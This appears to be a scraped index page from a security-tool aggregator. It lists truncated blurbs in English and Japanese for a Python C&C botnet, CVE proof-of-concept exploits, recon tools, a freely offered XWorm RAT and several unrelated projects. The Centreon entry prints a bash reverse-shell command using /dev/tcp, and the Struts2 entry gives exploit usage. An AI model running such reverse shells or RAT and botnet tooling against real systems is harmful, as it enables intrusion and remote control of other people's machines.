CnC-Botnet-in-Python

CnC-Botnet-in-Python Pythonで書かれたC&Cボットネット 説明 fabricを使用してPythonで書かれたシンプルなボットネット。 このコードの使用については、著者は責任を負いません。 ホスト プロジェクトのメインディレクトリに含まれるhosts.txtファイルからホストを読み込むことができます。 このファイルのデフォルト形式は次のとおりです: root@kitploit: username@host:port password ポート番号が指定されていない場合は、ポート22が使用されます: root@kitploit: username@host...

dcsgonefwbsp

dcsgonefwbsp Getting started To make it easy for you to get started with GitLab, here's a list of recommended next steps. Already a pro? Just edit this README.md and make it your own. Want to make it easy? Use the template at the bottom! Add your files Create or upload files Add files using the...

CVE-2025-55182-PoC

⚡ React2Shell エクスプロイト PoC CVE-2025-66478 Next.js サーバーコンポーネントにおけるプロトタイプ汚染を介したリモートコード実行 RCE 🕵️‍♂️ 概要 このリポジトリには、特定のバージョンの React Server Components RSC を使用する Next.js アプリケーションに影響する深刻な脆弱性 CVE-2025-66478 一部の文脈では CVE-2025-55182 としても参照 の概念実証 PoC が含まれています。 RSCのシリアル化プロセスを操作することで、認証されていない攻撃者がプロトタイプ汚染 proto:then...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous に移動します。 続いて、下の画像のように Add をクリックします。 それでは bash リバースシェル を Miscellaneous コマンドとして作成します。 root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 そして Save をクリックします。 次に Configuration Pollers に移動し、現在の Central ポーラーをクリックします。 これにより、Modify a poller Configurati...

ALEAPP

Android Logs Events And Protobuf Parser If you want to contribute hit me up here: https://abrignoni.github.io Blog posts here: https://leapps.org/blog Requirements Python 3.10 or above Dependencies Dependencies for your python environment are listed in requirements.txt. Install them using the bel...

dotdotslash

dotdotslash An tool to help you search for Directory Traversal Vulnerabilities Benchmarks Platforms that I tested to validate tool efficiency: DVWA low/medium/high bWAPP low/medium/high Screenshots Instalation You can download the last version cloning this repository root@kitploit: git clone...

dotdotslash

dotdotslash ディレクトリトラバーサルの脆弱性を検索するためのツール ベンチマーク ツールの効率を検証するためにテストしたプラットフォーム： DVWA 低/中/高 bWAPP 低/中/高 スクリーンショット インストール このリポジトリをクローンして最新バージョンをダウンロードできます root@kitploit: git clone https://github.com/jcesarstef/dotdotslash/ このツールはPython3で動作するように作られています 使い方 root@kitploit: python3 dotdotslash.py --help...

CVE-2017-5638

CVE: 2017-5638 - Apache Struts2 S2-045 の PoC こんにちは！元のスクリプトを requests ライブラリを使うようにリファクタリングしました。他のライブラリではエラーが発生していたためです。参考になれば幸いです！ 使用方法: python3 cve-2017-5638 url cmd-command...

ST3GG

root@kitploit: ███████╗████████╗██████╗ ██████╗ ██████╗ ██╔════╝╚══██╔══╝╚════██╗██╔════╝ ██╔════╝ ███████╗ ██║ █████╔╝██║ ███╗██║ ███╗ ╚════██║ ██║ ╚═══██╗██║ ██║██║ ██║ ███████║ ██║ ██████╔╝╚██████╔╝╚██████╔╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ⊰•-•✧ THE ULTIMATE STEGANOGRAPHY TOOLKIT ✧•-•⊱ Hi...

scilla

🏴‍☠️ 情報収集ツール 🏴‍☠️ - DNS / サブドメイン / ポート / ディレクトリの列挙 💙 を込めて edoardottt が制作 Twitter でシェア！ インストール • はじめに • 例 • 変更履歴 • コントリビューション • ライセンス インストール 📡 Homebrew root@kitploit: brew install scilla Snap root@kitploit: sudo snap install scilla Golang root@kitploit: go install -v...

gixy

GIXY Overview Gixy is a tool to analyze Nginx configuration. The main goal of Gixy is to prevent security misconfiguration and automate flaw detection. Currently supported Python versions are 2.7, 3.5, 3.6 and 3.7. Disclaimer: Gixy is well tested only on GNU/Linux, other OSs may have some issues...

Xworm RAT

XWorm-RAT V2.1 ⚠️Attention: This tool is made distributed EXCLUSIVELY for security researches. Please, dont use it for illegal activity A famous XWorm RAT for free, all the popular RAT features. Please support this repository with a star⭐️ if you like it The archive is protected, the password is:...

SecurityRAT

OWASP Security RAT Requirement Automation Tool is a tool helping you manage security requirements in your agile development projects. The typical use case is: specify parameters of the software artifact you're developing based on this information, list of common security requirements is generated...

CVE-2024-32002

GIT RCE CVE-2024-32002 説明 | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | エクスプロイト | まず、git上に "calledrepo" と "commandrepo" のリポジトリを作成する必要があります。 | 被害者は後で "git clone --recursive calledrepo.git" でcalledrepoを呼び出し、commandrepoにリダイレクトされてフックスクリプトを実行します。 |...

CVE-2024-21626

CVE-2024-21626 の PoC 詳細な説明はこちらの私の記事をお読みください。 関連記事 CVE-2024–21626 を調査している際、Docker と runC の古いバージョンに見落とされた脆弱性を発見しました。詳細については、次の記事をお読みください：「Exploring Hidden Vulnerabilities in Legacy Docker Versions: Lessons from CVE-2024–21626」 環境のセットアップ 🔨 A. 22.04.1-Ubuntu LTS バージョンのダウンロードとインストール...

iKy

Description | Installation | Website | Modules | Issues | Supporting iKy Description iKy is an OSINT tool that collects information from an email address or other selectors and displays the results in a visual interface. pending update: reflects the previous frontend Video Demo Installation...

Podroid

Podroid Android スマートフォン上で Linux コンテナと本格的な Linux デスクトップを実行。root は不要です。 独自カーネルを備えた本物の Alpine Linux VM - chroot や proot のトリックではありません - そのため Podman、Docker、LXC はサーバー上とまったく同じように動作します。 Web サイト · ドキュメント · APK をダウンロード 入手できるもの Podman、Docker、LXC - プリインストール済みで、起動と同時にすぐ使用可能 本物の VM - QEMU 経由のカスタムカーネル上の Alpine...

mass3

Quickly enumerate through a pre-compiled list of AWS S3 buckets using DNS instead of HTTP with a list of DNS resolvers and multi-threading. Warning: Be aware that this is really shitty golang code. I wrote it without any prior knowledge of Go Lang but it seems to do the job. Feel free to contribu...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...

tamago

TamaGo - bare metal Go tamago | https://github.com/usbarmory/tamago Copyright c The TamaGo Authors. All Rights Reserved. Introduction TamaGo is a framework that enables compilation and execution of unencumbered Go applications on bare metal processors AMD64, ARM, ARM64, RISCV64. The projects spaw...